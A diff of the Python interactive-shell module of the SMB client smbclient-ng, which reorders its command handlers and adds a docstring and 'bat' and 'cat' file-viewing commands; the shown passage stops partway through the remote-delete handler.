    -180        # Removes a local file
    -181        elif command == "lrm":
    -182            self.command_lrm(arguments, command)
    -183
    -184        # Removes a local directory
    -185        elif command == "lrmdir":
    -186            self.command_lrmdir(arguments, command)
    -187
    -188        # Shows the current local directory
    -189        elif command == "ltree":
    -190            self.command_ltree(arguments, command)
    -191
    -192        # Modules
    -193        elif command == "module":
    -194            self.command_module(arguments, command)
    -195
    -196        # Reconnects the current SMB session
    -197        elif command in ["connect", "reconnect"]:
    -198            self.command_reconnect(arguments, command)
    -199
    -200        # Reset the TTY output
    -201        elif command == "reset":
    -202            self.command_reset(arguments, command)
    -203
    -204        # Removes a remote file
    -205        elif command == "rm":
    -206            self.command_rm(arguments, command)
    -207            
    -208        # Removes a remote directory
    -209        elif command == "rmdir":
    -210            self.command_rmdir(arguments, command)
    -211
    -212        # List shares
    -213        elif command == "shares":
    -214            self.command_shares(arguments, command)
    -215        
    -216        # Displays a tree view of the CWD
    -217        elif command == "tree":
    -218            self.command_tree(arguments, command)
    -219        
    -220        # Use a share
    -221        elif command == "use":
    -222            self.command_use(arguments, command)
    -223
    -224    # Commands ================================================================
    -225
    -226    @command_arguments_required
    -227    @active_smb_connection_needed
    -228    @smb_share_is_set
    -229    def command_cd(self, arguments, command):
    -230        # Command arguments required   : Yes
    -231        # Active SMB connection needed : Yes
    -232        # SMB share needed             : Yes
    +            
     61class InteractiveShell(object):
    + 62    """
    + 63    Class InteractiveShell is designed to manage the interactive command line interface for smbclient-ng.
    + 64    
    + 65    This class handles user input, executes commands, and manages the state of the SMB session. It provides
    + 66    a command line interface for users to interact with SMB shares, execute commands like directory listing,
    + 67    file transfer, and more.
    + 68
    + 69    Attributes:
    + 70        smbSession (SMBConnection): The active SMB connection session.
    + 71        debug (bool): Flag to enable or disable debug mode.
    + 72        smb_share (str): The current SMB share in use.
    + 73        smb_path (str): The current path within the SMB share.
    + 74        commandCompleterObject (CommandCompleter): Object to handle command completion and help generation.
    + 75
    + 76    Methods:
    + 77        __init__(self, smbSession, debug=False): Initializes the InteractiveShell with the given SMB session and debug mode.
    + 78        run(self): Starts the command line interface loop, processing user input until exit.
    + 79    """
    + 80    
    + 81    def __init__(self, smbSession, config):
    + 82        # Objects
    + 83        self.smbSession = smbSession
    + 84        self.config = config
    + 85        self.commandCompleterObject = CommandCompleter(smbSession=self.smbSession, config=self.config)
    + 86        readline.set_completer(self.commandCompleterObject.complete)
    + 87        readline.parse_and_bind("tab: complete")
    + 88        readline.set_completer_delims("\n")
    + 89        # Additional modules
    + 90        self.modules = {}
    + 91        self.__load_modules()
    + 92
    + 93    def run(self):
    + 94        running = True
    + 95        while running:
    + 96            try:
    + 97                user_input = input(self.__prompt()).strip().split(" ")
    + 98                command, arguments = user_input[0].lower(), user_input[1:]
    + 99                
    +100                # Exit the command line
    +101                if command == "exit":
    +102                    running = False
    +103
    +104                elif command in self.commandCompleterObject.commands.keys():
    +105                    self.process_command(
    +106                        command=command, 
    +107                        arguments=arguments
    +108                    )
    +109
    +110                elif command.strip() == "":
    +111                    pass
    +112
    +113                # Fallback to unknown command
    +114                else:
    +115                    print("Unknown command. Type \"help\" for help.")
    +116
    +117            except KeyboardInterrupt as e:
    +118                print()
    +119
    +120            except EOFError as e:
    +121                print()
    +122                running = False
    +123
    +124            except Exception as e:
    +125                if self.config.debug:
    +126                    traceback.print_exc()
    +127                print("[!] Error: %s" % str(e))
    +128
    +129    def process_command(self, command, arguments=[]):
    +130        # Skip
    +131        if command.strip() == "":
    +132            pass
    +133        
    +134        # Display help
    +135        elif command == "help":
    +136            self.command_help(arguments, command)
    +137
    +138        # Cat the contents of a file
    +139        elif command == "bat":
    +140            self.command_bat(arguments, command)
    +141
    +142        # Cat the contents of a file
    +143        elif command == "cat":
    +144            self.command_cat(arguments, command)
    +145
    +146        # Closes the current SMB session
    +147        elif command == "close":
    +148            self.command_close(arguments, command)
    +149               
    +150        # Change directory in the current share
    +151        elif command == "cd":
    +152            self.command_cd(arguments, command)
    +153
    +154        # Get a file
    +155        elif command == "get":
    +156            self.command_get(arguments, command)
    +157
    +158        # SMB server info
    +159        elif command == "info":
    +160            self.command_info(arguments, command)
    +161
    +162        # List directory contents in a share
    +163        elif command in ["ls", "dir"]:
    +164            self.command_ls(arguments, command)
    +165
    +166        # Creates a new remote directory
    +167        elif command == "mkdir":
    +168            self.command_mkdir(arguments, command)
    +169
    +170        # Put a file
    +171        elif command == "put":
    +172            self.command_put(arguments, command)
    +173
    +174        # Changes the current local directory
    +175        elif command == "lcd":
    +176            self.command_lcd(arguments, command)
    +177
    +178        # Lists the contents of the current local directory
    +179        elif command == "lls":
    +180            self.command_lls(arguments, command)
    +181
    +182        # Creates a new local directory
    +183        elif command == "lmkdir":
    +184            self.command_lmkdir(arguments, command)
    +185
    +186        # Shows the current local directory
    +187        elif command == "lpwd":
    +188            self.command_lpwd(arguments, command)
    +189
    +190        # Removes a local file
    +191        elif command == "lrm":
    +192            self.command_lrm(arguments, command)
    +193
    +194        # Removes a local directory
    +195        elif command == "lrmdir":
    +196            self.command_lrmdir(arguments, command)
    +197
    +198        # Shows the current local directory
    +199        elif command == "ltree":
    +200            self.command_ltree(arguments, command)
    +201
    +202        # Modules
    +203        elif command == "module":
    +204            self.command_module(arguments, command)
    +205
    +206        # Reconnects the current SMB session
    +207        elif command in ["connect", "reconnect"]:
    +208            self.command_reconnect(arguments, command)
    +209
    +210        # Reset the TTY output
    +211        elif command == "reset":
    +212            self.command_reset(arguments, command)
    +213
    +214        # Removes a remote file
    +215        elif command == "rm":
    +216            self.command_rm(arguments, command)
    +217            
    +218        # Removes a remote directory
    +219        elif command == "rmdir":
    +220            self.command_rmdir(arguments, command)
    +221
    +222        # List shares
    +223        elif command == "shares":
    +224            self.command_shares(arguments, command)
    +225        
    +226        # Displays a tree view of the CWD
    +227        elif command == "tree":
    +228            self.command_tree(arguments, command)
    +229        
    +230        # Use a share
    +231        elif command == "use":
    +232            self.command_use(arguments, command)
     233
    -234        path = ' '.join(arguments)
    -235        try:
    -236            self.smbSession.set_cwd(path=path)
    -237        except impacket.smbconnection.SessionError as e:
    -238            print("[!] SMB Error: %s" % e)
    -239
    -240    def command_close(self, arguments, command):
    -241        # Command arguments required   : No
    -242        # Active SMB connection needed : No
    -243        # SMB share needed             : No
    -244
    -245        self.smbSession.ping_smb_session()
    -246        if self.smbSession.connected:
    -247            self.smbSession.close_smb_session()
    -248
    -249    @command_arguments_required
    -250    @active_smb_connection_needed
    -251    @smb_share_is_set
    -252    def command_get(self, arguments, command):
    -253        # Command arguments required   : Yes
    -254        # Active SMB connection needed : Yes
    -255        # SMB share needed             : Yes
    -256
    -257        # Get files recursively
    -258        if arguments[0] == "-r":
    -259            path = ' '.join(arguments[1:]).replace('/', ntpath.sep)
    -260            try:
    -261                self.smbSession.get_file_recursively(path=path)
    -262            except impacket.smbconnection.SessionError as e:
    -263                print("[!] SMB Error: %s" % e)
    -264        # Get a single file
    -265        else:
    -266            path = ' '.join(arguments).replace('/', ntpath.sep)
    -267            try:
    -268                self.smbSession.get_file(path=path)
    -269            except impacket.smbconnection.SessionError as e:
    -270                print("[!] SMB Error: %s" % e)
    -271
    -272    def command_help(self, arguments, command):
    -273        # Command arguments required   : No
    -274        # Active SMB connection needed : No
    -275        # SMB share needed             : No
    -276
    -277        if len(arguments) != 0:
    -278            self.commandCompleterObject.print_help(command=arguments[0])
    -279        else:
    -280            self.commandCompleterObject.print_help(command=None)
    -281
    -282    @active_smb_connection_needed
    -283    def command_info(self, arguments, command):
    -284        # Command arguments required   : No
    -285        # Active SMB connection needed : Yes
    -286        # SMB share needed             : No
    -287
    -288        print_server_info = False
    -289        print_share_info = False
    -290        if len(arguments) != 0:
    -291            print_server_info = (arguments[0].lower() == "server")
    -292            print_share_info = (arguments[0].lower() == "share")
    -293        else:
    -294            print_server_info = True
    -295            print_share_info = True
    -296
    -297        try:
    -298            self.smbSession.info(
    -299                share=print_share_info,
    -300                server=print_server_info
    -301            )
    -302        except impacket.smbconnection.SessionError as e:
    -303            print("[!] SMB Error: %s" % e)
    +234    # Commands ================================================================
    +235
    +236    @command_arguments_required
    +237    @active_smb_connection_needed
    +238    @smb_share_is_set
    +239    def command_bat(self, arguments, command):
    +240        # Command arguments required   : Yes
    +241        # Active SMB connection needed : Yes
    +242        # SMB share needed             : Yes
    +243
    +244        path = ' '.join(arguments)
    +245        try:
    +246            rawcontents = self.smbSession.read_file(path=path)
    +247            if rawcontents is not None:
    +248                encoding = charset_normalizer.detect(rawcontents)["encoding"]
    +249                if encoding is not None:
    +250                    filecontent = rawcontents.decode(encoding).rstrip()
    +251                    lexer = Syntax.guess_lexer(path=ntpath.basename(path), code=filecontent)
    +252                    # Some trickery for the files undetected by the lexer
    +253                    if lexer == "default":
    +254                        if '<?xml' in filecontent:
    +255                            lexer = "xml"
    +256                        elif '<html>' in filecontent:
    +257                            lexer = "html"
    +258                    syntax = Syntax(code=filecontent, line_numbers=True, lexer=lexer)
    +259                    Console().print(syntax)
    +260                else:
    +261                    print("[!] Could not detect charset of '%s'." % path)
    +262        except impacket.smbconnection.SessionError as e:
    +263            print("[!] SMB Error: %s" % e)
    +264
    +265    @command_arguments_required
    +266    @active_smb_connection_needed
    +267    @smb_share_is_set
    +268    def command_cd(self, arguments, command):
    +269        # Command arguments required   : Yes
    +270        # Active SMB connection needed : Yes
    +271        # SMB share needed             : Yes
    +272
    +273        path = ' '.join(arguments)
    +274        try:
    +275            self.smbSession.set_cwd(path=path)
    +276        except impacket.smbconnection.SessionError as e:
    +277            print("[!] SMB Error: %s" % e)
    +278
    +279    @command_arguments_required
    +280    @active_smb_connection_needed
    +281    @smb_share_is_set
    +282    def command_cat(self, arguments, command):
    +283        # Command arguments required   : Yes
    +284        # Active SMB connection needed : Yes
    +285        # SMB share needed             : Yes
    +286
    +287        path = ' '.join(arguments)
    +288        try:
    +289            rawcontents = self.smbSession.read_file(path=path)
    +290            if rawcontents is not None:
    +291                encoding = charset_normalizer.detect(rawcontents)["encoding"]
    +292                if encoding is not None:
    +293                    filecontent = rawcontents.decode(encoding).rstrip()
    +294                    print(filecontent)
    +295                else:
    +296                    print("[!] Could not detect charset of '%s'." % path)
    +297        except impacket.smbconnection.SessionError as e:
    +298            print("[!] SMB Error: %s" % e)
    +299
    +300    def command_close(self, arguments, command):
    +301        # Command arguments required   : No
    +302        # Active SMB connection needed : No
    +303        # SMB share needed             : No
     304
    -305    @command_arguments_required
    -306    def command_lcd(self, arguments, command):
    -307        # Command arguments required   : Yes
    -308        # Active SMB connection needed : No
    -309        # SMB share needed             : No
    -310
    -311        path = ' '.join(arguments)
    -312        if os.path.exists(path=path):
    -313            if os.path.isdir(s=path):
    -314                os.chdir(path=path)
    -315            else:
    -316                print("[!] Path '%s' is not a directory." % path)
    -317        else:
    -318            print("[!] Directory '%s' does not exists." % path)
    -319
    -320    def command_lls(self, arguments, command):
    -321        # Command arguments required   : No
    -322        # Active SMB connection needed : No
    -323        # SMB share needed             : No
    -324
    -325        if len(arguments) == 0:
    -326            path = '.'
    -327        else:
    -328            path = ' '.join(arguments)
    -329
    -330        # lls <directory>
    -331        if os.path.isdir(path):
    -332            directory_contents = os.listdir(path=path)
    -333            for entryname in sorted(directory_contents):
    -334                path_to_file = path + os.path.sep + entryname
    -335                rights_str = unix_permissions(path_to_file)
    -336                size_str = b_filesize(os.path.getsize(filename=path_to_file))
    -337                date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path_to_file)).strftime("%Y-%m-%d %H:%M")
    -338
    -339                if os.path.isdir(s=entryname):
    -340                    if self.config.no_colors:
    -341                        print("%s %10s  %s  %s%s" % (rights_str, size_str, date_str, entryname, os.path.sep))
    -342                    else:
    -343                        print("%s %10s  %s  \x1b[1;96m%s\x1b[0m%s" % (rights_str, size_str, date_str, entryname, os.path.sep))
    -344                else:
    -345                    if self.config.no_colors:
    -346                        print("%s %10s  %s  %s" % (rights_str, size_str, date_str, entryname))
    -347                    else:
    -348                        print("%s %10s  %s  \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, entryname))
    -349        # lls <file>
    -350        elif os.path.isfile(path):
    -351            rights_str = unix_permissions(path)
    -352            size_str = b_filesize(os.path.getsize(filename=path))
    -353            date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path)).strftime("%Y-%m-%d %H:%M")
    -354            if self.config.no_colors:
    -355                print("%s %10s  %s  %s" % (rights_str, size_str, date_str, os.path.basename(path)))
    -356            else:
    -357               print("%s %10s  %s  \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, os.path.basename(path))) 
    -358        else:
    -359            print("[!] No such file or directory.")
    -360
    -361    @command_arguments_required
    -362    def command_lmkdir(self, arguments, command):
    -363        # Command arguments required   : Yes
    -364        # Active SMB connection needed : No
    -365        # SMB share needed             : No
    -366
    -367        path = ' '.join(arguments)
    -368
    -369        # Split each dir
    -370        if os.path.sep in path:
    -371            path = path.strip(os.path.sep).split(os.path.sep)
    -372        else:
    -373            path = [path]
    -374
    -375        # Create each dir in the path
    -376        for depth in range(1, len(path)+1):
    -377            tmp_path = os.path.sep.join(path[:depth])
    -378            if not os.path.exists(tmp_path):
    -379                os.mkdir(path=tmp_path)
    -380
    -381    def command_lpwd(self, arguments, command):
    -382        # Command arguments required   : No
    -383        # Active SMB connection needed : No
    -384        # SMB share needed             : No
    -385
    -386        print(os.getcwd())
    -387
    -388    @command_arguments_required
    -389    def command_lrm(self, arguments, command):
    -390        # Command arguments required   : Yes
    -391        # Active SMB connection needed : No
    -392        # SMB share needed             : No
    -393
    -394        path = ' '.join(arguments)
    -395        if os.path.exists(path):
    -396            if not os.path.isdir(s=path):
    -397                try:
    -398                    os.remove(path=path)
    -399                except Exception as e:
    -400                    print("[!] Error removing file '%s' : %s" % path)
    -401            else:
    -402                print("[!] Cannot delete '%s'. It is a directory, use 'lrmdir <directory>' instead." % path)
    -403        else:
    -404            print("[!] Path '%s' does not exist." % path)
    -405
    -406    @command_arguments_required
    -407    def command_lrmdir(self, arguments, command):
    -408        # Command arguments required   : Yes
    -409        # Active SMB connection needed : No
    -410        # SMB share needed             : No
    -411
    -412        path = ' '.join(arguments)
    -413        if os.path.exists(path):
    -414            if os.path.isdir(s=path):
    -415                try:
    -416                    shutil.rmtree(path=path)
    -417                except Exception as e:
    -418                    print("[!] Error removing directory '%s' : %s" % path)
    -419            else:
    -420                print("[!] Cannot delete '%s'. It is a file, use 'lrm <file>' instead." % path)
    -421        else:
    -422            print("[!] Path '%s' does not exist." % path)
    -423
    -424    def command_ltree(self, arguments, command):
    -425        # Command arguments required   : No
    -426        # Active SMB connection needed : No
    -427        # SMB share needed             : No
    +305        self.smbSession.ping_smb_session()
    +306        if self.smbSession.connected:
    +307            self.smbSession.close_smb_session()
    +308
    +309    @command_arguments_required
    +310    @active_smb_connection_needed
    +311    @smb_share_is_set
    +312    def command_get(self, arguments, command):
    +313        # Command arguments required   : Yes
    +314        # Active SMB connection needed : Yes
    +315        # SMB share needed             : Yes
    +316
    +317        # Get files recursively
    +318        if arguments[0] == "-r":
    +319            path = ' '.join(arguments[1:]).replace('/', ntpath.sep)
    +320            try:
    +321                self.smbSession.get_file_recursively(path=path)
    +322            except impacket.smbconnection.SessionError as e:
    +323                print("[!] SMB Error: %s" % e)
    +324        # Get a single file
    +325        else:
    +326            path = ' '.join(arguments).replace('/', ntpath.sep)
    +327            try:
    +328                self.smbSession.get_file(path=path)
    +329            except impacket.smbconnection.SessionError as e:
    +330                print("[!] SMB Error: %s" % e)
    +331
    +332    def command_help(self, arguments, command):
    +333        # Command arguments required   : No
    +334        # Active SMB connection needed : No
    +335        # SMB share needed             : No
    +336
    +337        if len(arguments) != 0:
    +338            self.commandCompleterObject.print_help(command=arguments[0])
    +339        else:
    +340            self.commandCompleterObject.print_help(command=None)
    +341
    +342    @active_smb_connection_needed
    +343    def command_info(self, arguments, command):
    +344        # Command arguments required   : No
    +345        # Active SMB connection needed : Yes
    +346        # SMB share needed             : No
    +347
    +348        print_server_info = False
    +349        print_share_info = False
    +350        if len(arguments) != 0:
    +351            print_server_info = (arguments[0].lower() == "server")
    +352            print_share_info = (arguments[0].lower() == "share")
    +353        else:
    +354            print_server_info = True
    +355            print_share_info = True
    +356
    +357        try:
    +358            self.smbSession.info(
    +359                share=print_share_info,
    +360                server=print_server_info
    +361            )
    +362        except impacket.smbconnection.SessionError as e:
    +363            print("[!] SMB Error: %s" % e)
    +364
    +365    @command_arguments_required
    +366    def command_lcd(self, arguments, command):
    +367        # Command arguments required   : Yes
    +368        # Active SMB connection needed : No
    +369        # SMB share needed             : No
    +370
    +371        path = ' '.join(arguments)
    +372        if os.path.exists(path=path):
    +373            if os.path.isdir(s=path):
    +374                os.chdir(path=path)
    +375            else:
    +376                print("[!] Path '%s' is not a directory." % path)
    +377        else:
    +378            print("[!] Directory '%s' does not exists." % path)
    +379
    +380    def command_lls(self, arguments, command):
    +381        # Command arguments required   : No
    +382        # Active SMB connection needed : No
    +383        # SMB share needed             : No
    +384
    +385        if len(arguments) == 0:
    +386            path = '.'
    +387        else:
    +388            path = ' '.join(arguments)
    +389
    +390        # lls <directory>
    +391        if os.path.isdir(path):
    +392            directory_contents = os.listdir(path=path)
    +393            for entryname in sorted(directory_contents):
    +394                path_to_file = path + os.path.sep + entryname
    +395                rights_str = unix_permissions(path_to_file)
    +396                size_str = b_filesize(os.path.getsize(filename=path_to_file))
    +397                date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path_to_file)).strftime("%Y-%m-%d %H:%M")
    +398
    +399                if os.path.isdir(s=entryname):
    +400                    if self.config.no_colors:
    +401                        print("%s %10s  %s  %s%s" % (rights_str, size_str, date_str, entryname, os.path.sep))
    +402                    else:
    +403                        print("%s %10s  %s  \x1b[1;96m%s\x1b[0m%s" % (rights_str, size_str, date_str, entryname, os.path.sep))
    +404                else:
    +405                    if self.config.no_colors:
    +406                        print("%s %10s  %s  %s" % (rights_str, size_str, date_str, entryname))
    +407                    else:
    +408                        print("%s %10s  %s  \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, entryname))
    +409        # lls <file>
    +410        elif os.path.isfile(path):
    +411            rights_str = unix_permissions(path)
    +412            size_str = b_filesize(os.path.getsize(filename=path))
    +413            date_str = datetime.datetime.fromtimestamp(os.path.getmtime(filename=path)).strftime("%Y-%m-%d %H:%M")
    +414            if self.config.no_colors:
    +415                print("%s %10s  %s  %s" % (rights_str, size_str, date_str, os.path.basename(path)))
    +416            else:
    +417               print("%s %10s  %s  \x1b[1m%s\x1b[0m" % (rights_str, size_str, date_str, os.path.basename(path))) 
    +418        else:
    +419            print("[!] No such file or directory.")
    +420
    +421    @command_arguments_required
    +422    def command_lmkdir(self, arguments, command):
    +423        # Command arguments required   : Yes
    +424        # Active SMB connection needed : No
    +425        # SMB share needed             : No
    +426
    +427        path = ' '.join(arguments)
     428
    -429        if len(arguments) == 0:
    -430            local_tree(path='.', config=self.config)
    -431        else:
    -432            local_tree(path=' '.join(arguments), config=self.config)
    -433
    -434    @active_smb_connection_needed
    -435    @smb_share_is_set
    -436    def command_ls(self, arguments, command):
    -437        # Command arguments required   : No
    -438        # Active SMB connection needed : Yes
    -439        # SMB share needed             : Yes
    +429        # Split each dir
    +430        if os.path.sep in path:
    +431            path = path.strip(os.path.sep).split(os.path.sep)
    +432        else:
    +433            path = [path]
    +434
    +435        # Create each dir in the path
    +436        for depth in range(1, len(path)+1):
    +437            tmp_path = os.path.sep.join(path[:depth])
    +438            if not os.path.exists(tmp_path):
    +439                os.mkdir(path=tmp_path)
     440
    -441        # Read the files
    -442        directory_contents = self.smbSession.list_contents(path=' '.join(arguments))
    -443
    -444        for longname in sorted(directory_contents.keys(), key=lambda x:x.lower()):
    -445            windows_ls_entry(directory_contents[longname], self.config)
    -446            
    -447    @command_arguments_required
    -448    @active_smb_connection_needed
    -449    @smb_share_is_set
    -450    def command_mkdir(self, arguments, command):
    -451        # Command arguments required   : Yes
    -452        # Active SMB connection needed : Yes
    -453        # SMB share needed             : Yes
    -454
    -455        path = ' '.join(arguments)
    -456        self.smbSession.mkdir(path=path)
    -457
    -458    @command_arguments_required
    -459    @active_smb_connection_needed
    -460    @smb_share_is_set
    -461    def command_module(self, arguments, command):
    -462        module_name = arguments[0]
    -463
    -464        if module_name in self.modules.keys():
    -465            module = self.modules[module_name](self.smbSession, self.config)
    -466            module.run(' '.join(arguments[1:]))
    -467        else:
    -468            print("[!] Module '%s' does not exist." % module_name)
    -469
    -470    @command_arguments_required
    -471    @active_smb_connection_needed
    -472    @smb_share_is_set
    -473    def command_put(self, arguments, command):
    -474        # Command arguments required   : Yes
    -475        # Active SMB connection needed : Yes
    -476        # SMB share needed             : Yes
    -477
    -478        # Put files recursively
    -479        if arguments[0] == "-r":
    -480            localpath = ' '.join(arguments[1:])
    -481            try:
    -482                self.smbSession.put_file_recursively(localpath=localpath)
    -483            except impacket.smbconnection.SessionError as e:
    -484                print("[!] SMB Error: %s" % e)
    -485
    -486        # Put a single file
    -487        else:
    -488            localpath = ' '.join(arguments)
    -489            try:
    -490                self.smbSession.put_file(localpath=localpath)
    -491            except impacket.smbconnection.SessionError as e:
    -492                print("[!] SMB Error: %s" % e)
    +441    def command_lpwd(self, arguments, command):
    +442        # Command arguments required   : No
    +443        # Active SMB connection needed : No
    +444        # SMB share needed             : No
    +445
    +446        print(os.getcwd())
    +447
    +448    @command_arguments_required
    +449    def command_lrm(self, arguments, command):
    +450        # Command arguments required   : Yes
    +451        # Active SMB connection needed : No
    +452        # SMB share needed             : No
    +453
    +454        path = ' '.join(arguments)
    +455        if os.path.exists(path):
    +456            if not os.path.isdir(s=path):
    +457                try:
    +458                    os.remove(path=path)
    +459                except Exception as e:
    +460                    print("[!] Error removing file '%s' : %s" % path)
    +461            else:
    +462                print("[!] Cannot delete '%s'. It is a directory, use 'lrmdir <directory>' instead." % path)
    +463        else:
    +464            print("[!] Path '%s' does not exist." % path)
    +465
    +466    @command_arguments_required
    +467    def command_lrmdir(self, arguments, command):
    +468        # Command arguments required   : Yes
    +469        # Active SMB connection needed : No
    +470        # SMB share needed             : No
    +471
    +472        path = ' '.join(arguments)
    +473        if os.path.exists(path):
    +474            if os.path.isdir(s=path):
    +475                try:
    +476                    shutil.rmtree(path=path)
    +477                except Exception as e:
    +478                    print("[!] Error removing directory '%s' : %s" % path)
    +479            else:
    +480                print("[!] Cannot delete '%s'. It is a file, use 'lrm <file>' instead." % path)
    +481        else:
    +482            print("[!] Path '%s' does not exist." % path)
    +483
    +484    def command_ltree(self, arguments, command):
    +485        # Command arguments required   : No
    +486        # Active SMB connection needed : No
    +487        # SMB share needed             : No
    +488
    +489        if len(arguments) == 0:
    +490            local_tree(path='.', config=self.config)
    +491        else:
    +492            local_tree(path=' '.join(arguments), config=self.config)
     493
    -494    def command_reconnect(self, arguments, command):
    -495        # Command arguments required   : No
    -496        # Active SMB connection needed : No
    -497        # SMB share needed             : No
    -498
    -499        self.smbSession.ping_smb_session()
    -500        if self.smbSession.connected:
    -501            self.smbSession.close_smb_session()
    -502            self.smbSession.init_smb_session()
    -503        else:
    -504            self.smbSession.init_smb_session()
    -505
    -506    def command_reset(self, arguments, command):
    -507        # Command arguments required   : No
    -508        # Active SMB connection needed : No
    -509        # SMB share needed             : No
    -510        sys.stdout.write('\x1b[?25h') # Sets the cursor to on
    -511        sys.stdout.write('\x1b[v')  
    -512        sys.stdout.write('\x1b[o') # Reset
    -513        sys.stdout.flush()
    +494    @active_smb_connection_needed
    +495    @smb_share_is_set
    +496    def command_ls(self, arguments, command):
    +497        # Command arguments required   : No
    +498        # Active SMB connection needed : Yes
    +499        # SMB share needed             : Yes
    +500
    +501        # Read the files
    +502        directory_contents = self.smbSession.list_contents(path=' '.join(arguments))
    +503
    +504        for longname in sorted(directory_contents.keys(), key=lambda x:x.lower()):
    +505            windows_ls_entry(directory_contents[longname], self.config)
    +506            
    +507    @command_arguments_required
    +508    @active_smb_connection_needed
    +509    @smb_share_is_set
    +510    def command_mkdir(self, arguments, command):
    +511        # Command arguments required   : Yes
    +512        # Active SMB connection needed : Yes
    +513        # SMB share needed             : Yes
     514
    -515    @command_arguments_required
    -516    @active_smb_connection_needed
    -517    @smb_share_is_set
    -518    def command_rm(self, arguments, command):
    -519        # Command arguments required   : Yes
    -520        # Active SMB connection needed : Yes
    -521        # SMB share needed             : Yes
    -522
    -523        path = ' '.join(arguments)
    -524        if self.smbSession.path_exists(path):
    -525            if self.smbSession.path_isfile(path):
    -526                try:
    -527                    self.smbSession.rm(path=path)
    -528                except Exception as e:
    -529                    print("[!] Error removing file '%s' : %s" % path)
    -530            else:
    -531                print("[!] Cannot delete '%s': This is a directory, use 'rmdir <directory>' instead." % path)
    -532        else:
    -533            print("[!] Remote file '%s' does not exist." % path)
    -534
    -535    @command_arguments_required
    -536    @active_smb_connection_needed
    -537    @smb_share_is_set
    -538    def command_rmdir(self, arguments, command):
    -539        # Command arguments required   : Yes
    -540        # Active SMB connection needed : Yes
    -541        # SMB share needed             : Yes
    -542
    -543        path = ' '.join(arguments)
    -544        if self.smbSession.path_exists(path):
    -545            if self.smbSession.path_isdir(path):
    -546                try:
    -547                    self.smbSession.rmdir(path=path)
    -548                except Exception as e:
    -549                    print("[!] Error removing directory '%s' : %s" % path)
    -550            else:
    -551                print("[!] Cannot delete '%s': This is a file, use 'rm <file>' instead." % path)
    -552        else:
    -553            print("[!] Remote directory '%s' does not exist." % path)
    -554
    -555    @active_smb_connection_needed
    -556    def command_shares(self, arguments, command):
    -557        # Command arguments required   : No
    -558        # Active SMB connection needed : Yes
    -559        # SMB share needed             : No
    -560
    -561        shares = self.smbSession.list_shares()
    -562        if len(shares.keys()) != 0:
    -563            table = Table(title=None)
    -564            table.add_column("Share")
    -565            table.add_column("Hidden")
    -566            table.add_column("Type")
    -567            table.add_column("Description", justify="left")
    -568
    -569            for sharename in sorted(shares.keys()):
    -570                is_hidden = bool(sharename.endswith('$'))
    -571                types = ', '.join([s.replace("STYPE_","") for s in shares[sharename]["type"]])
    -572                if is_hidden:
    -573                    table.add_row(sharename, str(is_hidden), types, shares[sharename]["comment"])
    -574                else:
    -575                    table.add_row(sharename, str(is_hidden), types, shares[sharename]["comment"])
    -576
    -577            Console().print(table)
    -578        else:
    -579            print("[!] No share served on '%s'" % self.smbSession.address)
    -580
    -581    @active_smb_connection_needed
    -582    @smb_share_is_set
    -583    def command_tree(self, arguments, command):
    -584        # Command arguments required   : No
    -585        # Active SMB connection needed : Yes
    -586        # SMB share needed             : Yes
    -587
    -588        if len(arguments) == 0:
    -589            self.smbSession.tree(path='.')
    -590        else:
    -591            self.smbSession.tree(path=' '.join(arguments))
    -592
    -593    @command_arguments_required
    -594    @active_smb_connection_needed
    -595    def command_use(self, arguments, command):
    -596        # Command arguments required   : Yes
    -597        # Active SMB connection needed : Yes
    -598        # SMB share needed             : No
    -599
    -600        sharename = ' '.join(arguments)
    -601        # Reload the list of shares
    -602        shares = self.smbSession.list_shares()
    -603        shares = [s.lower() for s in shares.keys()]
    -604        if sharename.lower() in shares:
    -605            self.smbSession.set_share(sharename)
    -606        else:
    -607            print("[!] No share named '%s' on '%s'" % (sharename, self.smbSession.address))
    -608
    -609    # Private functions =======================================================
    -610
    -611    def __load_modules(self):
    -612        
    -613
    -614        self.modules.clear()
    -615
    -616        modules_dir = os.path.normpath(os.path.dirname(__file__) + os.path.sep + ".." + os.path.sep + "modules")
    -617        if self.config.debug:
    -618            print("[debug] Loading modules from %s ..." % modules_dir)
    -619        sys.path.extend([modules_dir])
    +515        path = ' '.join(arguments)
    +516        self.smbSession.mkdir(path=path)
    +517
    +518    @command_arguments_required
    +519    @active_smb_connection_needed
    +520    @smb_share_is_set
    +521    def command_module(self, arguments, command):
    +522        module_name = arguments[0]
    +523
    +524        if module_name in self.modules.keys():
    +525            module = self.modules[module_name](self.smbSession, self.config)
    +526            module.run(' '.join(arguments[1:]))
    +527        else:
    +528            print("[!] Module '%s' does not exist." % module_name)
    +529
    +530    @command_arguments_required
    +531    @active_smb_connection_needed
    +532    @smb_share_is_set
    +533    def command_put(self, arguments, command):
    +534        # Command arguments required   : Yes
    +535        # Active SMB connection needed : Yes
    +536        # SMB share needed             : Yes
    +537
    +538        # Put files recursively
    +539        if arguments[0] == "-r":
    +540            localpath = ' '.join(arguments[1:])
    +541            try:
    +542                self.smbSession.put_file_recursively(localpath=localpath)
    +543            except impacket.smbconnection.SessionError as e:
    +544                print("[!] SMB Error: %s" % e)
    +545
    +546        # Put a single file
    +547        else:
    +548            localpath = ' '.join(arguments)
    +549            try:
    +550                self.smbSession.put_file(localpath=localpath)
    +551            except impacket.smbconnection.SessionError as e:
    +552                print("[!] SMB Error: %s" % e)
    +553
    +554    def command_reconnect(self, arguments, command):
    +555        # Command arguments required   : No
    +556        # Active SMB connection needed : No
    +557        # SMB share needed             : No
    +558
    +559        self.smbSession.ping_smb_session()
    +560        if self.smbSession.connected:
    +561            self.smbSession.close_smb_session()
    +562            self.smbSession.init_smb_session()
    +563        else:
    +564            self.smbSession.init_smb_session()
    +565
    +566    def command_reset(self, arguments, command):
    +567        # Command arguments required   : No
    +568        # Active SMB connection needed : No
    +569        # SMB share needed             : No
    +570        sys.stdout.write('\x1b[?25h') # Sets the cursor to on
    +571        sys.stdout.write('\x1b[v')  
    +572        sys.stdout.write('\x1b[o') # Reset
    +573        sys.stdout.flush()
    +574
    +575    @command_arguments_required
    +576    @active_smb_connection_needed
    +577    @smb_share_is_set
    +578    def command_rm(self, arguments, command):
    +579        # Command arguments required   : Yes
    +580        # Active SMB connection needed : Yes
    +581        # SMB share needed             : Yes
    +582
